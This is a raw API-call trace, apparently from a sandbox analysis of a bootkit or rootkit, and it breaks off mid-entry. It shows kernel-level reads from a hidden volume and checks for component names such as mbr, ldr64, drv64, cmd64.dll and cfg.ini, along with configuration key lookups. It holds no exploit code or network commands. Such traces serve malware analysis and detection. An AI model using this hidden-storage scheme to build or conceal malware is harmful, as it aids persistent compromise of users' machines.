[0122.920] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.920] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.920] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.920] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.920] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.920] IdePortDispatch () returned 0x103 [0122.920] KeWaitForMutexObject () returned 0x0 [0122.920] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.920] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.920] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.920] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.920] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.920] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003825ba0 [0122.920] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.920] KeLeaveCriticalRegion () [0122.920] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.921] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.921] KeEnterCriticalRegion () [0122.921] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.921] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.921] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.921] KeLeaveCriticalRegion () [0122.921] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.921] KeEnterCriticalRegion () [0122.921] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.921] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.921] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.921] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.921] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.921] IdePortDispatch () returned 0x103 [0122.921] KeWaitForMutexObject () returned 0x0 [0122.921] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.921] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.921] KeLeaveCriticalRegion () [0122.921] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.921] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.921] KeEnterCriticalRegion () [0122.921] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.921] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d79000 [0122.921] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.921] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.921] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.921] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.921] IdePortDispatch () returned 0x103 [0122.921] KeWaitForMutexObject () returned 0x0 [0122.922] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.922] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.922] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.922] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.922] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.922] IdePortDispatch () returned 0x103 [0122.922] KeWaitForMutexObject () returned 0x0 [0122.922] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.922] KeLeaveCriticalRegion () [0122.922] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.922] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.922] KeEnterCriticalRegion () [0122.922] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.922] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.922] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.922] KeLeaveCriticalRegion () [0122.922] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.923] KeEnterCriticalRegion () [0122.923] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.923] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.923] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be7120, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.923] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.923] KeLeaveCriticalRegion () [0122.923] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.923] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.923] KeEnterCriticalRegion () [0122.923] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.923] ExFreePoolWithTag (P=0xfffffa8003825ba0, Tag=0x0) [0122.923] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.923] KeLeaveCriticalRegion () [0122.923] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.923] ReleaseMutex (hMutex=0xf0) returned 1 [0122.923] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0122.923] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0122.923] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0122.923] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.923] KeEnterCriticalRegion () [0122.923] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.923] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.923] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.923] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.923] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.923] IdePortDispatch () returned 0x103 [0122.923] KeWaitForMutexObject () returned 0x0 [0122.923] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.923] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.923] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.923] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.923] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.923] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.923] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.923] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.923] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.923] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.923] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.923] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.924] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.924] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.924] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.924] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.924] KeLeaveCriticalRegion () [0122.924] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.924] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0122.924] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.924] KeEnterCriticalRegion () [0122.924] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.924] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.924] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.924] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.924] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.924] IdePortDispatch () returned 0x103 [0122.924] KeWaitForMutexObject () returned 0x0 [0122.924] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.924] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.924] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.924] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.924] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.924] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.924] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.924] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.924] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.924] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.924] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.924] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.924] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.924] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.924] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.924] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.924] KeLeaveCriticalRegion () [0122.924] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.924] ReleaseMutex (hMutex=0x100) returned 1 [0122.924] Sleep (dwMilliseconds=0x2bf20) [0122.931] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6c776ad0, dwHighDateTime=0x1d24fa4)) [0122.931] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0122.931] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.931] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.931] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.931] KeEnterCriticalRegion () [0122.931] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.931] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.931] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.931] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.931] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.931] IdePortDispatch () returned 0x103 [0122.931] KeWaitForMutexObject () returned 0x0 [0122.932] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.932] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.932] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.932] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.932] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.932] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003825af0 [0122.932] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.932] KeLeaveCriticalRegion () [0122.932] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.932] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.932] KeEnterCriticalRegion () [0122.932] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.932] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.932] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.932] KeLeaveCriticalRegion () [0122.932] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.932] KeEnterCriticalRegion () [0122.932] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.932] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.932] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.932] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.932] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.932] IdePortDispatch () returned 0x103 [0122.932] KeWaitForMutexObject () returned 0x0 [0122.932] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.932] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.932] KeLeaveCriticalRegion () [0122.932] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.932] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.933] KeEnterCriticalRegion () [0122.933] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.933] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d7c000 [0122.933] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.933] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.933] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.933] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.933] IdePortDispatch () returned 0x103 [0122.933] KeWaitForMutexObject () returned 0x0 [0122.933] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.933] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.933] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.933] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.933] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.933] IdePortDispatch () returned 0x103 [0122.933] KeWaitForMutexObject () returned 0x0 [0122.933] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.933] KeLeaveCriticalRegion () [0122.933] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.934] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.934] KeEnterCriticalRegion () [0122.934] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.934] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.934] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.934] KeLeaveCriticalRegion () [0122.934] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.934] KeEnterCriticalRegion () [0122.934] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.934] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.934] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be7120, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.934] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.934] KeLeaveCriticalRegion () [0122.934] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.934] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.934] KeEnterCriticalRegion () [0122.934] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.934] ExFreePoolWithTag (P=0xfffffa8003825af0, Tag=0x0) [0122.934] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.934] KeLeaveCriticalRegion () [0122.935] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.935] ReleaseMutex (hMutex=0xf0) returned 1 [0122.935] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.935] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.935] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.935] KeEnterCriticalRegion () [0122.935] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.935] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.935] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.935] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.935] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.935] IdePortDispatch () returned 0x103 [0122.935] KeWaitForMutexObject () returned 0x0 [0122.935] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.935] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.935] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.935] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.935] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.935] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003825ba0 [0122.935] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.935] KeLeaveCriticalRegion () [0122.935] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.936] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.936] KeEnterCriticalRegion () [0122.936] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.936] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.936] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.936] KeLeaveCriticalRegion () [0122.936] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.936] KeEnterCriticalRegion () [0122.936] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.936] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.936] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.936] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.936] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.936] IdePortDispatch () returned 0x103 [0122.936] KeWaitForMutexObject () returned 0x0 [0122.936] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.936] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.936] KeLeaveCriticalRegion () [0122.936] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.936] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.936] KeEnterCriticalRegion () [0122.936] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.936] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d7d000 [0122.936] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.936] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.936] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.936] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.936] IdePortDispatch () returned 0x103 [0122.936] KeWaitForMutexObject () returned 0x0 [0122.937] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.937] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.937] IoAllocateMdl (in: 